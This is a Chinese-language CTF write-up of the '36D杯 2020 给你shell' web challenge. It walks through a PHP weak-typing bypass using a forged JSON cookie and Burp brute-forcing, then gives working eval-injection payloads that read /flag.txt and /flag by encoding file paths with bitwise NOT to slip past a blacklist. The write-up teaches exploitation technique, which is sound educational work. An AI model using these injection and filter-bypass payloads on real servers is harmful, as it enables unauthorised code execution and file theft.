[36D杯 2020]给你shell

[36D杯 2020]给你shell

打开题目查看源码发现 ?view_source 有源码,并且告诉我们flag在/flag.txt中:

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

代码逻辑如下:

  • 有个名为 secret 的 cookie,存的是 json
  • checkCookie() 函数要求这个 json 只有一对键值,并且不能有乱七八糟的其他符号
  • check 过了就会 json_decode() 并且保存在 $obj
  • 如果 secret 对应值和 $flag_md5 相等则给出 shell,不等则调用 haveFun() 函数
  • haveFun() 函数的 for 循环中用 i 和 flag 的 md5 按位 & 运算并输出结果

我们输入?give_me_shell返回一串数字,就是haveFun($flag)的内容:

0006464640064064646464006406464064640064006400000000000

我们测试一下haveFun()函数干了什么:

<?php
$flag="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
function haveFun($_f_g) {
    $_g_r = 36;
    $_h_p = $_f_g;
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        echo $_i.",";
        $_i = ord($_i);
        print_r($_i & 0xC0);
        echo "\t";
    }
    die;
}

haveFun($flag);

得到:

A,64    B,64    C,64    D,64    E,64    F,64    G,64    H,64    I,64    J,64    K,64    L,64    M,64    N,64    O,64    P,64    Q,64    R,64    S,64    T,64    U,64    V,64    W,64    X,64    Y,64    Z,64    0,0     1,0     2,0     3,0     4,0     5,0     6,0     7,0     8,0     9,0

可以看到,字母会输出64,数字会输出0,也就是说$flag_md5的前三位是数字从第四位开始有字母出现。

弱类型

这里我们的目的是让$obj['secret'] != $flag_md5不成立,从而输出$shell_path,需要用到弱类型比较,想要弱类型就需要让$obj['secret']的类型是数字,和$flag_md5的字符型比较就会让$flag_md5截断只保留下前三位,从而能让我们爆破三位数即可。

JSON 伪造

$obj['secret'] 是在 cookie 的 JSON 进行 decode 得到的,然而直接这样的 JSON 会返回字符串,不能用弱类型:

{"secret":"100"}

可以来观察一下这个正则就发现了问题:

/^[\"0-9A-Z]*}$/

正则直接将引号放到了 [] 里面,后面限定还是使用了星号,这意味着可以不使用双引号,对于没有双引号的话 json_decode() 就可以得到 int 了。直接 burp intruder 爆破:

Cookie:secret=%7B%22secret%22%3A§0§%

{"serect":115}的时候爆破成功,得到websehll路径w3b5HeLLlll123.php:

image-20211104210926504

取反绕过

<?php
error_reporting(0);
session_start();


//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

fuzz 黑名单就和做 SQL 注入时候 fuzz 一样,用 burp 或者自己写 Python 脚本,记得带上 session 不然会跳转,这是常规操作不展开说了,fuzz 结果如下:

  • f、sys、include
  • 括号、引号、分号
  • ^ & 等运算符
  • 空格 / \ $ ` * #等符号

这里的过滤十分严格,但是仍然有绕过的方法:

  • ]=1?>闭合掉前面的字符
  • <?=短标签来绕过空格过滤
  • require来包含文件
  • 使用取反来构造我们要的字符串echo urlencode(~"/flag.txt")得到%d0%99%93%9e%98%d1%8b%87%8b
  • 最后接上?>注释掉后面的内容

payload:

?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

读到了 /flag.txt 的内容:可以,说明你ctfshow的红包2没白做,flag在/flag,同样的方法去读取吧。

最后同样读 /flag 的内容即可。

payload:

?code=]=1?><?=require~%d0%99%93%9e%98?>

参考资料

CTFshow 36D Web Writeup

[复现]CTFshow-36D杯

评论

  1. qf
    2月前
    2023-3-23 19:00:40

    懂了写的好好

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇